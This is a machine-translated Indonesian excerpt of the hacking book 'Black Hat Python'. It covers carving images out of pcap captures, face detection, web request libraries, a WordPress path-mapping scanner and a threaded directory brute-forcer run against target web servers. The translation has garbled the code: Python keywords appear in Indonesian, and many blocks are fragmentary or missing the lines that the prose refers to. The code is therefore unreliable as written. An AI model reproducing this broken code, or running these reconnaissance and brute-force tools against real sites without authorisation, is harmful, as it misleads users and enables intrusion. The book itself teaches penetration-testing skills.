Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Rekap kelas:
def __init__(diri sendiri, nama f):
lulus
5 def get_responses(diri):
lulus
Ini adalah logika kerangka utama dari keseluruhan skrip, dan kami akan segera
menambahkan fungsi pendukungnya. Kami mengatur impor dan kemudian
menentukan lokasi direktori untuk menampilkan gambar dan lokasi file pcap untuk
dibaca 1. Kemudian kami mendefinisikan tupel bernama yang disebut Response
yang memiliki dua atribut: header paket dan payload paket 2. Kita akan membuat
dua fungsi pembantu untuk mendapatkan header paket 3 dan mengekstrak konten
4 yang akan kita gunakan dengan kelas Recapper yang akan kita definisikan untuk
menyusun kembali gambar yang ada dalam aliran paket. Selain __init__, kelas
Recapper akan memiliki dua metode: get_responses, yang akan membaca respons
dari file pcap 5, dan write, yang akan menulis file gambar yang terdapat dalam
respons ke direktori keluaran 6.
Mari kita mulai mengisi skrip ini dengan menulis fungsi get_header :
def get_header(muatan):
mencoba:
header_raw = muatan[:payload.index(b'\r\n\r\n')+2] 1
kecuali ValueError:
sys.stdout.tulis('-')
sys.stdout.flush()
kembali Tidak ada 2
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
return 2. Jika tidak, kita membuat kamus (header) dari payload yang didekodekan,
membaginya menjadi titik dua sehingga kuncinya adalah bagian sebelum titik dua dan nilainya
adalah bagian setelah titik dua 3. Jika header tidak memiliki kunci disebut ' Tipe Konten', kita
kembalikan Tidak Ada untuk menunjukkan bahwa header tidak berisi data yang ingin kita
ekstrak. 4. Sekarang mari kita tulis fungsi untuk mengekstrak konten dari respons:
Fungsi ekstrak_konten mengambil respons HTTP dan nama untuk tipe konten yang
ingin kita ekstrak. Ingatlah bahwa Response adalah tupel bernama
dengan dua bagian: header dan payload.
Jika konten telah dikodekan 4 dengan alat seperti gzip atau deflate, kami
mendekompresi konten menggunakan modul zlib . Untuk respons apa pun yang berisi
gambar, header akan memiliki nama gambar di Tipe Konten
atribut (misalnya image/png atau image/jpg) 1. Ketika itu terjadi, kita membuat variabel
bernama content_type dengan tipe konten aktual yang ditentukan di header 2. Kita membuat
variabel lain untuk menampung konten itu sendiri, yaitu segala sesuatu di dalam payload
setelah header 3. Terakhir, kami mengembalikan tupel konten dan content_type 5 .
Setelah kedua fungsi pembantu tersebut selesai, mari kita isi Recappernya
metode:
Rekap kelas:
1 def __init__(diri sendiri, nama f):
pcap = rdpcap(nama f)
2 mandiri.sesi = pcap.sesi()
3 diri.respon = daftar()
Pertama, kita menginisialisasi objek dengan nama file pcap yang ingin kita baca 1. Kita
memanfaatkan fitur cantik Scapy untuk secara otomatis memisahkan setiap sesi TCP 2 ke
dalam kamus yang berisi setiap aliran TCP lengkap. Terakhir, kita membuat daftar kosong
bernama tanggapan yang akan kita isi dengan tanggapan dari file pcap 3.
66 Bab 4
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Dalam metode get_responses kita akan melintasi paket-paket untuk menemukan masing-
masing Respons terpisah dan menambahkan masing-masing respons ke daftar respons yang
ada dalam aliran paket:
def get_responses(diri):
1 untuk sesi dalam sesi mandiri:
muatan = b''
2 untuk paket di self.sessions[session]:
mencoba:
jika muatan:
5 tajuk = get_header(muatan)
jika tajuknya Tidak Ada:
melanjutkan
6 self.responses.append(Respon(header=header, payload=payload))
Dalam metode get_responses , kami mengulangi kamus sesi 1, lalu paket-paket dalam setiap
sesi 2. Kami memfilter lalu lintas sehingga kami hanya mendapatkan paket dengan port tujuan atau
sumber 80 3. Kemudian kami menggabungkan payload dari semua lalu lintas ke buffer tunggal yang
disebut payload. Ini secara efektif sama dengan mengklik kanan sebuah paket di Wireshark dan
memilih Follow TCP Stream. Jika kita tidak berhasil menambahkan variabel payload (kemungkinan
besar karena tidak ada TCP dalam paket), kita mencetak x ke konsol dan melanjutkan ke 4.
Kemudian, setelah kita menyusun kembali data HTTP, jika string byte payload tidak
kosong, kita meneruskannya ke fungsi penguraian header HTTP get_header 5, yang
memungkinkan kita memeriksa header HTTP satu per satu.
Terakhir, kami menambahkan Respon ke daftar respons 6.
Terakhir, kami memeriksa daftar respons dan, jika respons berisi gambar, kami
menulis gambar tersebut ke disk dengan metode tulis :
Setelah pekerjaan ekstraksi selesai, metode penulisan hanya perlu melakukan iterasi
atas tanggapan 1, ekstrak konten 2, dan tulis konten itu ke file 3. File tersebut dibuat di direktori
keluaran dengan nama yang dibentuk oleh
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
impor cv2
impor mereka
ROOT = '/root/Desktop/gambar'
WAJAH = '/root/Desktop/wajah'
LATIHAN = '/root/Desktop/pelatihan'
4 jika rects.any():
print('Punya wajah')
5 persegi[:, 2:] += persegi[:, :2]
kecuali AttributeError:
print(f'Tidak ditemukan wajah di {fname}.')
melanjutkan
68 Bab 4
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
gambar menggunakan pustaka visi komputer OpenCV cv2 2, memuat file XML
detektor , dan membuat objek pendeteksi wajah cv2 3. Detektor ini merupakan
pengklasifikasi yang dilatih terlebih dahulu untuk mendeteksi wajah dalam orientasi
menghadap ke depan. OpenCV berisi pengklasifikasi untuk deteksi wajah profil
(samping), tangan, buah, dan sejumlah objek lain yang dapat Anda coba sendiri. Untuk
gambar di mana wajah ditemukan 4, pengklasifikasi akan mengembalikan koordinat persegi
panjang yang sesuai dengan lokasi wajah terdeteksi dalam gambar. Dalam hal ini, kita
mencetak pesan ke konsol, menggambar kotak hijau di sekeliling wajah 6, dan menulis
gambar ke direktori keluaran 7.
Data persegi panjang yang dikembalikan dari detektor berbentuk (x, y, lebar, tinggi),
dengan nilai x, y memberikan koordinat sudut kiri bawah persegi panjang, dan nilai lebar, tinggi
sesuai dengan lebar dan tinggi dari persegi panjang.
Kami menggunakan sintaks irisan Python 5 untuk mengonversi dari satu bentuk ke bentuk
lainnya. Artinya, kita mengonversi data persegi yang dikembalikan ke koordinat sebenarnya:
(x1, y1, x1+width, y1+height) atau (x1, y1, x2, y2). Ini adalah format input cv2.rectangle
metode yang diharapkan.
Kode ini dengan murah hati dibagikan oleh Chris Fidao di http:// www.fideloper.
com/ facial-detection/. Contoh ini membuat sedikit modifikasi dari aslinya.
Sekarang mari kita coba semua ini di dalam Kali VM Anda.
Menendang Ban
Jika Anda belum menginstal pustaka OpenCV terlebih dahulu, jalankan perintah berikut
(sekali lagi, terima kasih, Chris Fidao) dari terminal di Kali VM Anda:
Ini harus menginstal semua file yang diperlukan untuk menangani deteksi wajah
pada gambar yang dihasilkan. Kita juga perlu mengambil file pelatihan deteksi wajah, seperti:
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
...
#:> detektor python.py
Punya wajah
Punya wajah
...
#:>
Anda mungkin melihat sejumlah pesan kesalahan yang dihasilkan oleh OpenCV
karena fakta bahwa beberapa gambar yang kami masukkan ke dalamnya mungkin rusak
atau diunduh sebagian atau formatnya mungkin tidak didukung. (Kami akan membiarkan
pembuatan ekstraksi gambar yang kuat dan rutinitas validasi sebagai pekerjaan rumah bagi
Anda.) Jika Anda membuka direktori wajah Anda , Anda akan melihat sejumlah file dengan
wajah dan kotak hijau ajaib yang digambar di sekelilingnya.
Teknik ini dapat digunakan untuk menentukan jenis konten Anda
target sedang melihat, serta untuk menemukan pendekatan yang mungkin dilakukan
melalui rekayasa sosial. Anda tentu saja dapat memperluas contoh ini lebih dari sekadar
menggunakannya pada gambar ukiran dari PCAP dan menggunakannya bersama
dengan teknik perayapan dan penguraian web yang dijelaskan di bab selanjutnya.
70 Bab 4
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
5
PERETAS WEB
Anda akan menemukan sejumlah alat aplikasi web luar biasa yang ditulis dengan Python,
termasuk w3af dan sqlmap. Sejujurnya, topik-topik seperti injeksi SQL telah dikalahkan sampai
mati, dan peralatan yang tersedia sudah cukup matang sehingga kita tidak perlu menemukan
kembali rodanya. Sebagai gantinya, kita akan menjelajahi dasar-dasar berinteraksi dengan web
menggunakan Python dan kemudian mengembangkan pengetahuan ini untuk membuat alat pengintaian
dan brute force. Dengan membuat beberapa alat yang berbeda, Anda harus mempelajari keterampilan
dasar yang Anda perlukan untuk membangun segala jenis alat penilaian aplikasi web yang
diperlukan dalam skenario serangan Anda.
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Dalam bab ini, kita akan melihat tiga skenario untuk menyerang aplikasi web. Dalam skenario pertama,
Anda mengetahui kerangka web yang digunakan target, dan kerangka tersebut bersifat open source. Kerangka
kerja aplikasi web berisi banyak file dan direktori di dalam direktori di dalam direktori. Kami akan membuat peta
yang menunjukkan hierarki aplikasi web secara lokal dan menggunakan informasi tersebut untuk menemukan file
dan direktori sebenarnya pada target langsung. Dalam skenario kedua, Anda hanya mengetahui URL untuk
target Anda, jadi kami akan menggunakan pemetaan yang sama secara brute force dengan menggunakan daftar
kata untuk menghasilkan daftar jalur file dan nama direktori yang mungkin ada pada target. Kami kemudian
akan mencoba menghubungkan ke daftar kemungkinan jalur yang dihasilkan terhadap target langsung. Dalam
skenario ketiga, Anda mengetahui URL dasar target Anda dan halaman loginnya.
Kami akan memeriksa halaman login dan menggunakan daftar kata untuk memaksa login.
Perpustakaan Web
Kita akan mulai dengan menelusuri perpustakaan yang dapat Anda gunakan untuk berinteraksi dengan
layanan web. Saat melakukan serangan berbasis jaringan, Anda mungkin menggunakan mesin Anda sendiri
atau mesin di dalam jaringan yang Anda serang. Jika Anda menggunakan mesin yang telah disusupi, Anda harus
puas dengan apa yang Anda miliki, yang mungkin berupa instalasi sederhana Python 2.x atau Python 3.x. Kami
akan melihat apa yang dapat Anda lakukan dalam situasi tersebut menggunakan perpustakaan standar.
Namun, untuk sisa bab ini, kami berasumsi Anda berada di mesin penyerang menggunakan paket terbaru.
impor urllib2
url = 'https://www.nostarch.com'
1 tanggapan = urllib2.urlopen(url) # DAPATKAN
2 cetak(respons.baca())
respon.tutup()
Ini adalah contoh paling sederhana bagaimana membuat permintaan GET ke situs web. Kita
meneruskan URL ke fungsi urlopen 1, yang mengembalikan objek seperti file yang memungkinkan kita
membaca kembali isi dari apa yang dikembalikan oleh server web jarak jauh 2. Karena kita baru saja
mengambil halaman mentah dari situs web No Starch, tidak ada JavaScript atau bahasa sisi klien lainnya yang
akan dijalankan.
Namun, dalam sebagian besar kasus, Anda memerlukan kontrol yang lebih menyeluruh mengenai caranya
Anda membuat permintaan ini, termasuk kemampuan untuk menentukan header tertentu, menangani cookie,
dan membuat permintaan POST. Pustaka urllib2 mencakup
72 Bab 5
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
kelas Permintaan yang memberi Anda tingkat kontrol ini. Contoh berikut menunjukkan kepada
Anda cara membuat permintaan GET yang sama dengan menggunakan kelas Permintaan
dan dengan mendefinisikan header HTTP Agen-Pengguna kustom :
impor urllib2
url = "https://www.nostarch.com"
1 header = {'Agen-Pengguna': "Googlebot"}
2 permintaan = urllib2.Permintaan(url,header=header)
3 tanggapan = urllib2.liburan(permintaan)
cetak(respon.baca())
respon.tutup()
1 impor urllib.parse
impor urllib.permintaan
2 url = 'http://boodelyboo.com'
3 dengan urllib.request.urlopen(url) sebagai tanggapan: # GET
4 konten = respon.baca()
mencetak (isi)
Di sini kita mengimpor paket yang kita perlukan 1 dan menentukan URL target 2.
Kemudian, dengan menggunakan metode urlopen sebagai pengelola konteks, kita
membuat permintaan 3 dan membaca respons 4.
Peretas Web 73
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
mencetak (isi)
Perpustakaan permintaan
permintaan impor
url = 'http://boodelyboo.com'
respon = permintaan.dapatkan(url) # DAPATKAN
Kami membuat url, permintaan , dan kamus data yang berisi pengguna
dan kunci sandi . Kemudian kami memposting permintaan itu 1 dan mencetak
atribut teks (string) 2. Jika Anda lebih suka bekerja dengan string byte, gunakan konten
atribut dikembalikan dari pos. Anda akan melihat contohnya di bagian “Otentikasi
Formulir HTML Brute-Forcing” di halaman XX.
74 Bab 5
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Misalkan Anda memiliki konten HTML dari permintaan yang disimpan dalam variabel bernama
konten. Dengan menggunakan lxml, Anda dapat mengambil konten dan mengurai tautannya sebagai
berikut:
permintaan impor
url = 'https://nostarch.com
2 r = permintaan.dapatkan(url) # DAPATKAN
content = r.content # content bertipe 'byte'
pengurai = etree.HTMLParser()
3 content = etree.parse(BytesIO(content), parser=parser) # Parsing ke dalam pohon
4 untuk link di content.findall('//a'): # temukan semua elemen jangkar "a".
5 mencetak(f"{link.get('href')} -> {link.teks}")
Dengan menggunakan BeautifulSoup, Anda dapat melakukan penguraian yang sama dengan kode ini.
Seperti yang Anda lihat, tekniknya sangat mirip dengan contoh terakhir kami menggunakan lxml:
Peretas Web 75
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Sintaksnya hampir sama. Kami menguraikan konten ke dalam pohon 1, mengulangi tautan
(a, atau jangkar, tag) 2, dan mencetak target (href
atribut) dan teks link (link.text) 3.
Jika Anda bekerja dari mesin yang disusupi, kemungkinan besar Anda akan menghindarinya
menginstal paket pihak ketiga ini agar tidak menimbulkan terlalu banyak gangguan jaringan,
sehingga Anda terjebak dengan apa pun yang Anda miliki, yang mungkin berupa instalasi sederhana
Python 2 atau Python 3. Itu berarti Anda akan menggunakan perpustakaan standar (urllib2 atau urllib ).
Dalam contoh berikut, kami berasumsi Anda berada dalam kotak serangan, yang berarti Anda
dapat menggunakan paket permintaan untuk menghubungi server web dan lxml untuk mengurai
keluaran yang Anda ambil.
Sekarang setelah Anda memiliki sarana dasar untuk berkomunikasi dengan layanan web dan
situs web, mari buat beberapa alat yang berguna untuk serangan aplikasi web atau uji penetrasi apa
pun.
Karena kita bisa mendownload aplikasi web open source apa pun dan secara lokal
menentukan struktur file dan direktorinya, kita dapat membuat pemindai yang dibuat khusus yang
dapat mencari semua file yang dapat dijangkau pada target jarak jauh.
Hal ini dapat membasmi sisa file instalasi, direktori yang seharusnya dilindungi oleh file .htaccess ,
dan hal-hal lain yang dapat membantu penyerang mendapatkan pijakan di server web. Proyek ini juga
memperkenalkan Anda untuk menggunakan objek Python Queue , yang memungkinkan kita
membangun tumpukan item yang besar dan aman untuk thread dan memiliki beberapa thread yang
memilih item untuk diproses. Ini akan memungkinkan pemindai kami bekerja dengan sangat cepat.
Selain itu, kami dapat percaya bahwa kami tidak akan memiliki kondisi balapan karena kami
menggunakan antrean, yang aman untuk thread, bukan daftar.
76 Bab 5
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
impor kontekslib
impor os
antrian impor
permintaan impor
impor sys
impor threading
waktu impor
jawaban = antrian.Antrian()
2 web_paths = antrian.Antrian()
def Gather_paths(): 3
_,
untuk root, file di os.walk('.'): untuk fname di file:
web_paths.put(path)
@contextlib.contextmanager 4
def chdir(jalur):
"""
this_dir = os.getcwd()
os.chdir(path)
coba: 5
akhirnya
menghasilkan: 6 os.chdir(this_dir)
if __name__ == '__main__': 7
dengan chdir("/home/tim/Downloads/wordpress"):
Gather_paths()
input('Tekan kembali untuk melanjutkan.')
Kita mulai dengan menentukan situs web target jarak jauh 1 dan membuat daftar
ekstensi file yang tidak ingin kita sidik jarinya. Daftar ini dapat berbeda tergantung
pada aplikasi target, namun dalam hal ini kami memilih
Peretas Web 77
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
untuk menghilangkan gambar dan file style sheet. Sebaliknya, kami menargetkan file
HTML atau teks, yang kemungkinan besar berisi informasi yang berguna untuk
menyusupi server. Variabel jawaban adalah objek Antrian dimana kita akan meletakkan
jalur file yang kita temukan secara lokal. Variabel web_paths 2 adalah objek Antrian kedua
tempat kita akan menyimpan file yang akan kita coba cari di server jarak jauh.
Dalam fungsi Gather_paths , kita menggunakan fungsi os.walk 3 untuk menelusuri
semua file dan direktori di direktori aplikasi web lokal. Saat menelusuri file dan direktori,
kami membuat jalur lengkap ke file target dan mengujinya terhadap daftar yang disimpan
di FILTERED untuk memastikan kami hanya mencari jenis file yang kami inginkan. Untuk
setiap file valid yang kami temukan secara lokal, kami menambahkannya ke Antrean
variabel web_paths .
Manajer konteks chdir 4 memerlukan sedikit penjelasan. Manajer konteks
memberikan pola pemrograman yang keren, terutama jika Anda pelupa atau memiliki
terlalu banyak hal untuk dilacak dan ingin menyederhanakan hidup Anda. Anda akan
merasakan manfaatnya ketika Anda membuka sesuatu dan perlu menutupnya,
mengunci sesuatu dan perlu melepaskannya, atau mengubah sesuatu dan perlu
mengatur ulang. Anda mungkin familiar dengan pengelola file bawaan seperti open
untuk membuka file atau soket untuk menggunakan soket.
Umumnya, Anda membuat pengelola konteks dengan membuat kelas __
dengan metode enter__ dan __exit__ . Metode __enter__ mengembalikan sumber daya
yang perlu dikelola (seperti file atau soket) dan metode __exit__ melakukan operasi
pembersihan (seperti menutup file, misalnya).
Namun, dalam situasi di mana Anda tidak memerlukan banyak kontrol, Anda dapat
menggunakan @contextlib.contextmanager untuk membuat pengelola konteks
sederhana yang mengubah fungsi generator menjadi pengelola konteks.
Fungsi chdir ini memungkinkan Anda mengeksekusi kode di dalam direktori
berbeda dan menjamin bahwa, ketika Anda keluar, Anda akan dikembalikan ke
direktori asli. Fungsi generator chdir menginisialisasi konteks dengan menyimpan
direktori asli dan mengubahnya ke direktori baru, mengembalikan kontrol ke Gather_paths
5, dan kemudian kembali ke direktori asli 6.
Perhatikan bahwa definisi fungsi chdir berisi blok try dan akhirnya .
Anda akan sering menemukan pernyataan coba/kecuali , namun pasangan coba/
akhirnya kurang umum. Blok akhirnya selalu dijalankan, terlepas dari pengecualian apa
pun yang diajukan. Kita memerlukan ini di sini karena, tidak peduli apakah perubahan
direktori berhasil atau tidak, kita ingin konteksnya kembali ke direktori asli. Contoh mainan
dari blok percobaan menunjukkan apa yang terjadi untuk setiap kasus:
mencoba:
sesuatu_yang_mungkin_menyebabkan_kesalahan_()
kecuali SomeError sebagai e:
cetak(e) # tampilkan kesalahan di konsol
lakukan sesuatu yang # mengambil beberapa tindakan alternatif
lain() yang lain:
78 Bab 5
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kembali ke kode pemetaan, Anda dapat melihat di blok __main__ bahwa Anda
menggunakan manajer konteks chdir di dalam pernyataan with 7, yang memanggil generator
dengan nama direktori tempat mengeksekusi kode. Dalam contoh ini, kami memasukkan
lokasi tempat kami membuka ritsleting file ZIP WordPress. Lokasi ini akan berbeda di mesin
Anda; pastikan Anda lewat di lokasi Anda sendiri. Memasuki fungsi chdir akan menyimpan
nama direktori saat ini dan mengubah direktori kerja ke jalur yang ditentukan sebagai argumen
untuk fungsi tersebut. Ini kemudian menghasilkan kontrol kembali ke thread utama eksekusi,
yang merupakan tempat fungsi Gather_paths dijalankan. Setelah mengumpulkan_jalur
fungsi selesai, kita keluar dari manajer konteks, klausa akhirnya dijalankan, dan direktori kerja
dikembalikan ke lokasi semula.
Anda tentu saja dapat menggunakan os.chdir secara manual, tetapi jika Anda lupa
membatalkan perubahan, program Anda akan dijalankan di tempat yang tidak terduga.
Dengan menggunakan manajer konteks chdir yang baru , Anda tahu bahwa Anda secara
otomatis bekerja dalam konteks yang benar dan, ketika Anda kembali, Anda kembali ke tempat
Anda sebelumnya. Anda dapat menyimpan fungsi manajer konteks ini di utilitas Anda dan
menggunakannya di skrip Anda yang lain. Menghabiskan waktu untuk menulis fungsi utilitas yang
bersih dan mudah dipahami seperti ini akan membuahkan hasil di kemudian hari, karena Anda akan
menggunakannya berulang kali.
Jalankan program untuk menjalankan distribusi WordPress
hierarki dan lihat jalur lengkap yang dicetak ke konsol:
/readme.html
/wp-include/class-requests.php
/wp-include/media.php
/wp-includes/wlwmanifest.xml
/wp-include/ID3/readme.txt
--menggunting--
/wp-content/plugins/akismet/_inc/form.js
/wp-content/plugins/akismet/_inc/akismet.js
Sekarang Antrean variabel web_paths kita penuh dengan jalur untuk diperiksa. Kamu bisa
lihat bahwa kami telah mengambil beberapa hasil menarik: jalur file ada di instalasi WordPress
lokal yang dapat kami uji terhadap aplikasi WordPress target langsung, termasuk file .txt, .js,
dan .xml . Tentu saja, Anda dapat memasukkan kecerdasan tambahan ke dalam skrip untuk
mengembalikan hanya file yang Anda minati, seperti file yang berisi kata “install.”
Peretas Web 79
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
sys.stdout.tulis('x')
sys.stdout.flush()
pasti dijalankan():
mitos = daftar()
1 untuk saya dalam jangkauan (BENANG):
print(f'Pemijahan benang {i}')
2 t = threading.Benang(target=test_remote)
mitos.tambahkan(t)
t.mulai()
80 Bab 5
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Fungsi run mengatur proses pemetaan, memanggil fungsi yang baru saja ditentukan.
Kami memulai 10 utas (didefinisikan di awal skrip) 1 dan meminta setiap utas
menjalankan fungsi test_remote 2. Kami kemudian menunggu hingga 10 utas selesai
(menggunakan thread.join) sebelum mengembalikan 3.
Sekarang, kita dapat menyelesaikannya dengan menambahkan beberapa logika lagi ke blok __main__ .
Ganti blok __main__ asli file dengan kode yang diperbarui ini:
3 jalankan()
4 dengan open('myanswers.txt', 'w') sebagai f:
sementara tidak menjawab.kosong():
f.tulis(f'{jawaban.get()}\n')
cetak('selesai')
Kami menggunakan manajer konteks chdir 1 untuk menavigasi ke direktori yang benar
sebelum kita memanggil berkumpul_paths. Kami telah menambahkan jeda di sana jika
kami ingin meninjau keluaran konsol sebelum melanjutkan 2. Pada titik ini, kami telah
mengumpulkan jalur file yang menarik dari instalasi lokal kami. Kemudian kami menjalankan
tugas pemetaan utama 3 terhadap aplikasi jarak jauh dan menulis jawaban ke sebuah
file. Kami mungkin akan mendapatkan banyak permintaan yang berhasil, dan saat kami
mencetak URL yang berhasil ke konsol, hasilnya mungkin akan berlalu begitu cepat
sehingga kami tidak dapat mengikutinya. Untuk menghindarinya, tambahkan blok 4 untuk
menulis hasilnya ke file. Perhatikan metode manajer konteks untuk membuka file. Ini
menjamin bahwa file ditutup ketika pemblokiran selesai.
Menendang Ban
Penulis menyimpan situs hanya untuk pengujian (boodelyboo.com), dan itulah yang kami
targetkan dalam contoh ini. Untuk pengujian Anda sendiri, Anda dapat membuat situs untuk
dimainkan, atau Anda dapat menginstal WordPress ke Kali VM Anda. Perhatikan bahwa
Anda dapat menggunakan aplikasi web sumber terbuka apa pun yang cepat diterapkan
atau yang sudah Anda jalankan. Saat Anda menjalankan mapper.py, Anda akan melihat
keluaran seperti berikut:
Pemijahan benang 0
Pemijahan benang 1
Pemijahan benang 2
Pemijahan benang 3
Pemijahan benang 4
Pemijahan benang 5
Pemijahan benang 6
Pemijahan benang 7
Pemijahan benang 8
Pemijahan benang 9
++x+x+++x+x++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++
Peretas Web 81
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Ketika proses selesai, jalur di mana Anda berhasil dicantumkan di file baru
myanswers.txt.
Kita akan membuat alat sederhana yang akan menerima daftar kata dari brute forcer umum,
seperti gobuster project1 dan SVNDigger,2 dan berupaya menemukan direktori dan file yang dapat
dijangkau di server web target. Anda akan menemukan banyak daftar kata yang tersedia di internet,
dan Anda sudah memiliki cukup banyak di distribusi Kali Anda (lihat /usr/ share/ wordlists). Untuk
contoh ini, kami akan menggunakan daftar dari SVNDigger. Anda dapat mengambil file untuk
SVNDigger sebagai berikut:
cd ~/Unduhan
dapatkan https://www.netsparker.com/s/research/SVNDigger.zip
buka zip SVNDigger.zip
Saat Anda mengekstrak file ini, file all.txt akan ada di Unduhan Anda
direktori.
Seperti sebelumnya, kami akan membuat kumpulan rangkaian pesan untuk mencoba
menemukan konten secara agresif. Mari kita mulai dengan membuat beberapa fungsi untuk membuat Antrian
keluar dari file daftar kata. Buka file baru, beri nama bruter.py, dan masukkan
kode berikut:
antrian impor
permintaan impor
impor threading
sistem impor
82 Bab 5
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
2 def extend_words(kata):
jika "." dalam kata:
kata-kata.put(f'/{word}')
kalau tidak:
3 kata.put(f'/{word}/')
4 kata_mentah = f.baca()
ditemukan_resume = Salah
kata-kata = antrian.Antrian()
untuk kata di raw_words.split():
5 jika resume bukan Tidak Ada:
jika ditemukan_resume:
perpanjang_kata(kata)
kata elif == resume:
ditemukan_resume = Benar
print(f'Melanjutkan daftar kata dari: {resume}')
kalau tidak:
mencetak(kata)
perpanjang_kata(kata)
6 kata balasan
Fungsi pembantu get_words 1, yang mengembalikan antrian kata yang akan kita
uji pada target, berisi beberapa teknik khusus. Kita membaca dalam file daftar kata 4
dan kemudian mulai mengulangi setiap baris dalam file tersebut. Kami kemudian mengatur
variabel resume ke jalur terakhir yang dicoba oleh brute force 5. Fungsi ini memungkinkan
kami untuk melanjutkan sesi brute force jika konektivitas jaringan kami terganggu atau
situs target mati. Ketika kami telah menguraikan seluruh file, kami mengembalikan Antrean
yang penuh dengan kata-kata untuk digunakan dalam fungsi brute-forcing kami yang
sebenarnya 6.
Perhatikan bahwa fungsi ini memiliki fungsi dalam yang disebut extend_words 2. Fungsi
dalam adalah fungsi yang didefinisikan di dalam fungsi lain. Kita bisa saja menulisnya di luar
get_words, tapi karena extend_words akan selalu berjalan dalam konteks fungsi
get_words , kita menempatkannya di dalam untuk menjaga namespace tetap rapi dan
membuat kode lebih mudah dipahami.
Tujuan dari fungsi dalam ini adalah untuk menerapkan daftar ekstensi yang akan diuji
saat membuat permintaan. Dalam beberapa kasus, Anda ingin mencoba tidak hanya /admin
ekstensi, misalnya, tetapi juga admin.php, admin.inc, dan admin.html 3.
Di sini akan berguna untuk bertukar pikiran tentang ekstensi umum yang mungkin
digunakan pengembang dan kemudian lupa untuk menghapusnya, seperti .orig dan .bak,
selain ekstensi bahasa pemrograman biasa. Fungsi bagian dalam extend_words menyediakan
kemampuan ini, dengan menggunakan aturan berikut: jika kata mengandung titik (.), kami
akan menambahkannya ke URL (misalnya, /test.php); jika tidak, kami akan memperlakukannya
seperti nama direktori (seperti /admin/) .
Peretas Web 83
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Apa pun kasusnya, kami akan menambahkan setiap kemungkinan ekstensi ke hasilnya.
Misalnya, jika kita memiliki dua kata, test.php dan admin, kita akan memasukkan kata-kata tambahan
berikut ke dalam antrian kata-kata kita:
def dir_bruter(kata-kata):
1 header = {'Agen-Pengguna': AGEN}
sementara bukan kata-kata.kosong():
2 url = f'{TARGET}{words.get()}'
mencoba:
r = permintaan.dapatkan(url, header=header)
3 kecuali permintaan.pengecualian.ConnectionError:
sys.stderr.write('x');sys.stderr.flush()
melanjutkan
Akan menyenangkan untuk mengetahui tentang kesalahan koneksi apa pun yang kami dapatkan
3; cetak x ke stderr ketika itu terjadi. Sebaliknya, jika kita berhasil (ditunjukkan dengan status 200), cetak
URL lengkap ke konsol 4. Anda juga dapat membuat antrian dan meletakkan hasilnya di sana,
seperti yang kita lakukan terakhir kali. Jika kita mendapat respon 404, kita cetak titik (.) ke stderr dan
lanjutkan 5. Jika kita mendapat kode respon lain, kita cetak juga URL-nya, karena ini bisa menunjukkan
84 Bab 5
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
sesuatu yang menarik di server web jarak jauh. (Artinya, sesuatu selain kesalahan “file tidak
ditemukan”.) Penting untuk memperhatikan keluaran Anda karena, bergantung pada
konfigurasi server web jarak jauh, Anda mungkin harus memfilter kode kesalahan HTTP
tambahan untuk membersihkannya. hasil Anda.
Di blok __main__ , kita mendapatkan daftar kata untuk melakukan brute force 6 dan
kemudian memutar sekumpulan thread untuk melakukan brute force.
Menendang Ban
OWASP memiliki daftar aplikasi web yang rentan, baik online maupun offline, seperti mesin
virtual dan image disk, yang dapat Anda gunakan untuk menguji peralatan Anda. Dalam
hal ini, URL yang direferensikan dalam kode sumber menunjuk ke aplikasi web yang
sengaja dibuat bermasalah yang dihosting oleh Acunetix. Hal keren tentang menyerang
aplikasi ini adalah ia menunjukkan kepada Anda betapa efektifnya brute force.
Kami menyarankan Anda menyetel variabel THREADS ke sesuatu yang masuk akal,
seperti 5, dan menjalankan skrip. Nilai yang terlalu rendah akan memakan waktu lama
untuk dijalankan, sedangkan nilai yang tinggi dapat membebani server. Singkatnya, Anda
akan mulai melihat hasil seperti berikut:
Jika Anda hanya ingin melihat keberhasilannya, karena Anda menggunakan sys.stderr
untuk menulis karakter x dan titik (.) , aktifkan skrip dan alihkan stderr ke /dev/
null sehingga hanya file yang Anda temukan yang ditampilkan di konsol:
Perhatikan bahwa kami mendapatkan beberapa hasil menarik dari situs web jarak
jauh, beberapa di antaranya mungkin mengejutkan Anda. Misalnya, Anda mungkin menemukan
file cadangan atau cuplikan kode yang ditinggalkan oleh pengembang web yang terlalu
banyak bekerja. Apa yang ada di file index.bak itu ? Dengan informasi tersebut, Anda dapat
menghapus file yang dapat dengan mudah menyusupi aplikasi Anda.
Peretas Web 85
